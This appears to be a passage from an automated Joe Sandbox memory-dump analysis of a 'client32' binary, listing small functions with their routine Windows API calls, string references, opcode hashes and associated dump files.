..., xrefs: 1115732B

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: TextWindow$Length_memset
String ID: ...
API String ID: 243528429-1685331755
Opcode ID: 7345a46bba17d9f83897ac7903254eada472521389efd1d7f9693f60270457cf
Instruction ID: 3e974f6f281fad8de38b3af03667cb2bd2dd56defaaa0821f91d93156a413d34
Opcode Fuzzy Hash: 7345a46bba17d9f83897ac7903254eada472521389efd1d7f9693f60270457cf
Instruction Fuzzy Hash: 7DE02B36D046635FD281463C9C48DCBFB9DEF82228B458470F595D3201DA20D40BC7E0

Function 11027510 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 26libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(1117B47B,InternetCloseHandle), ref: 11027524
SetLastError.KERNEL32(00000078,00000000,?,110297FB,1117B47B), ref: 11027541

Strings

InternetCloseHandle, xrefs: 1102751E

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: AddressErrorLastProc
String ID: InternetCloseHandle
API String ID: 199729137-3843628324
Opcode ID: 1b6e93195561b6ae7fac2394f1119c484194f36d55897542f86653d00150cad3
Instruction ID: 0efa5e4b185ac2da0920bc638d9d3d9410d8270d4334fbfed3ee5fbf9e412b31
Opcode Fuzzy Hash: 1b6e93195561b6ae7fac2394f1119c484194f36d55897542f86653d00150cad3
Instruction Fuzzy Hash: 20E09272A007345BC320DFA9E844A46F7E8DB24765F40453BEA4197200C670E4448BE0

Function 11035770 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 26libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(?,CloseTouchInputHandle), ref: 11035784
SetLastError.KERNEL32(00000078), ref: 110357A1

Strings

CloseTouchInputHandle, xrefs: 1103577E

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: AddressErrorLastProc
String ID: CloseTouchInputHandle
API String ID: 199729137-251360538
Opcode ID: c5c51cc3416df1740feb99d5a79384ace3f2b2c8a6160679b09382d954a17126
Instruction ID: 5579ed7c47e3ef80365c35dbc64790a79754191371e6850b1d9de20976132785
Opcode Fuzzy Hash: c5c51cc3416df1740feb99d5a79384ace3f2b2c8a6160679b09382d954a17126
Instruction Fuzzy Hash: C1E09232A506259FC315DFA9E848A46F7D8EF54722F00843AE65597100C631A4408BA0

Function 11001080 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 25windowCOMMON

Download Yara Rule

APIs

SendDlgItemMessageA.USER32(?,?,?,?,?), ref: 110010B7

Part of subcall function 110290F0: GetLastError.KERNEL32(?,?), ref: 1102910C
Part of subcall function 110290F0: wsprintfA.USER32 ref: 11029157
Part of subcall function 110290F0: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11029193
Part of subcall function 110290F0: ExitProcess.KERNEL32 ref: 110291A9

Strings

m_hWnd, xrefs: 11001096
e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h, xrefs: 11001091

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Message$ErrorExitItemLastProcessSendwsprintf
String ID: e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h$m_hWnd
API String ID: 2046328329-2830328467
Opcode ID: e23e6f8f1d795151bf65504b549d0b3e99ba60d83445b273e5f7e54ace8b4032
Instruction ID: d6c174be7095a88acf08c8c7035f1bfcc606cf11c581344454f7ad96a18f94da
Opcode Fuzzy Hash: e23e6f8f1d795151bf65504b549d0b3e99ba60d83445b273e5f7e54ace8b4032
Instruction Fuzzy Hash: 68E01AB6610269AFD714DE85EC80EE7B3ACAB48794F008429FA5997240D6B0E95087A1

Function 11001040 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 23windowCOMMON

Download Yara Rule

APIs

SendMessageA.USER32(?,?,?,?), ref: 11001073

Part of subcall function 110290F0: GetLastError.KERNEL32(?,?), ref: 1102910C
Part of subcall function 110290F0: wsprintfA.USER32 ref: 11029157
Part of subcall function 110290F0: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11029193
Part of subcall function 110290F0: ExitProcess.KERNEL32 ref: 110291A9

Strings

m_hWnd, xrefs: 11001056
e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h, xrefs: 11001051

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Message$ErrorExitLastProcessSendwsprintf
String ID: e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h$m_hWnd
API String ID: 819365019-2830328467
Opcode ID: a478cc059458106cf5704ce56e7de4ccd4a723f7f74860f299d0b8ca43b93d71
Instruction ID: 2149dfb7d7fad2f484445a2ad992c90f1569e5591f5ea3f8663e4569b2fc6047
Opcode Fuzzy Hash: a478cc059458106cf5704ce56e7de4ccd4a723f7f74860f299d0b8ca43b93d71
Instruction Fuzzy Hash: 6EE086B5A00359BFD710DE45DCC5FD7B3ACEF54765F008429F95987240D6B0E99087A1

Function 110010D0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 23windowCOMMON

Download Yara Rule

APIs

PostMessageA.USER32(?,?,?,?), ref: 11001103

Part of subcall function 110290F0: GetLastError.KERNEL32(?,?), ref: 1102910C
Part of subcall function 110290F0: wsprintfA.USER32 ref: 11029157
Part of subcall function 110290F0: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11029193
Part of subcall function 110290F0: ExitProcess.KERNEL32 ref: 110291A9

Strings

m_hWnd, xrefs: 110010E6
e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h, xrefs: 110010E1

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Message$ErrorExitLastPostProcesswsprintf
String ID: e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h$m_hWnd
API String ID: 906220102-2830328467
Opcode ID: 6e48cc0f22709dd1f677f00fe8a235e90bb64895bbfe6d3762ec5bb3e875e095
Instruction ID: 526bb494f44a88d6c72e7bb0fbd3121225ec46d2648d8932a1e0f472dc4001e3
Opcode Fuzzy Hash: 6e48cc0f22709dd1f677f00fe8a235e90bb64895bbfe6d3762ec5bb3e875e095
Instruction Fuzzy Hash: F9E086B5A0021DBFD710DE45DC85FD7B3ACEB48764F008429FA1487600DAB0F950C7A0

Function 11015680 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 23timeCOMMON

Download Yara Rule

APIs

KillTimer.USER32(?,?), ref: 110156AB

Part of subcall function 110290F0: GetLastError.KERNEL32(?,?), ref: 1102910C
Part of subcall function 110290F0: wsprintfA.USER32 ref: 11029157
Part of subcall function 110290F0: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11029193
Part of subcall function 110290F0: ExitProcess.KERNEL32 ref: 110291A9

Strings

m_hWnd, xrefs: 11015696
e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h, xrefs: 11015691

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: ErrorExitKillLastMessageProcessTimerwsprintf
String ID: e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h$m_hWnd
API String ID: 2229609774-2830328467
Opcode ID: 4f9c51c1163bf8913fde59a01c8678a66c8feca1fc5ec587663269088d57b80b
Instruction ID: 7ae664625a1ce1be833339671640630068cd4088b0e63f30b6a4550177604bc9
Opcode Fuzzy Hash: 4f9c51c1163bf8913fde59a01c8678a66c8feca1fc5ec587663269088d57b80b
Instruction Fuzzy Hash: 9BE08675700329AFC314EB55EC80E96F3ECEF58714F008429F96557740DA75E98087D5

Function 1101D070 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 21COMMON

Download Yara Rule

APIs

MapWindowPoints.USER32(00000000,?,?,00000001), ref: 1101D09F

Part of subcall function 110290F0: GetLastError.KERNEL32(?,?), ref: 1102910C
Part of subcall function 110290F0: wsprintfA.USER32 ref: 11029157
Part of subcall function 110290F0: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11029193
Part of subcall function 110290F0: ExitProcess.KERNEL32 ref: 110291A9

Strings

m_hWnd, xrefs: 1101D086
e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h, xrefs: 1101D081

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: ErrorExitLastMessagePointsProcessWindowwsprintf
String ID: e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h$m_hWnd
API String ID: 2663631564-2830328467
Opcode ID: fa98f24b7545a8703a321d683b87b1dea4d1bd6490adb13a2f25d9d98fe671f0
Instruction ID: 9c4b2b82cd9adc94e853c670648ed6e4092ddceab183af3ebe85ec827fccdc52
Opcode Fuzzy Hash: fa98f24b7545a8703a321d683b87b1dea4d1bd6490adb13a2f25d9d98fe671f0
Instruction Fuzzy Hash: 8FE0C2B1640319BBD210DA41EC86FE6B39C8B10765F008039F61856580D9B0A98087A1

Function 11035730 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(?,WTSGetActiveConsoleSessionId), ref: 11035741
SetLastError.KERNEL32(00000078), ref: 11035757

Strings

WTSGetActiveConsoleSessionId, xrefs: 1103573B

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: AddressErrorLastProc
String ID: WTSGetActiveConsoleSessionId
API String ID: 199729137-985505475
Opcode ID: 5aeb613780d4317b6c4fe32fb8bb10cba1a23ef9b8a27ed88a1ac7ef06f6d1ab
Instruction ID: dfe2ba98866f40b925ff5ae74b5290a810f1b4d05858a75e8431e5ab4ea7c49c
Opcode Fuzzy Hash: 5aeb613780d4317b6c4fe32fb8bb10cba1a23ef9b8a27ed88a1ac7ef06f6d1ab
Instruction Fuzzy Hash: 74E0C231D12A308FC7219F6CF848789B7E4EF45B32F014A5AEAB593284C731A8818B91

Function 11001110 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 19COMMON

Download Yara Rule

APIs

ShowWindow.USER32(?,?), ref: 1100113B

Part of subcall function 110290F0: GetLastError.KERNEL32(?,?), ref: 1102910C
Part of subcall function 110290F0: wsprintfA.USER32 ref: 11029157
Part of subcall function 110290F0: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11029193
Part of subcall function 110290F0: ExitProcess.KERNEL32 ref: 110291A9

Strings

m_hWnd, xrefs: 11001126
e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h, xrefs: 11001121

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: ErrorExitLastMessageProcessShowWindowwsprintf
String ID: e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h$m_hWnd
API String ID: 1604732272-2830328467
Opcode ID: b3706d9d212bc44fc63b143c127adaed75df49cf66e2e4508a4744c3dc3a7521
Instruction ID: 23928ab379678a07e0f3a28c7a56dac56e7f9ec3f6936ec539a74ac81f8319a0
Opcode Fuzzy Hash: b3706d9d212bc44fc63b143c127adaed75df49cf66e2e4508a4744c3dc3a7521
Instruction Fuzzy Hash: 4FD02BB5A1032DABC314CA41DC81FD2F3AC9B103A4F004039F62442100D571E540C394

Function 11001000 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 19timeCOMMON

Download Yara Rule

APIs

KillTimer.USER32(?,?), ref: 1100102B

Part of subcall function 110290F0: GetLastError.KERNEL32(?,?), ref: 1102910C
Part of subcall function 110290F0: wsprintfA.USER32 ref: 11029157
Part of subcall function 110290F0: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11029193
Part of subcall function 110290F0: ExitProcess.KERNEL32 ref: 110291A9

Strings

m_hWnd, xrefs: 11001016
e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h, xrefs: 11001011

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
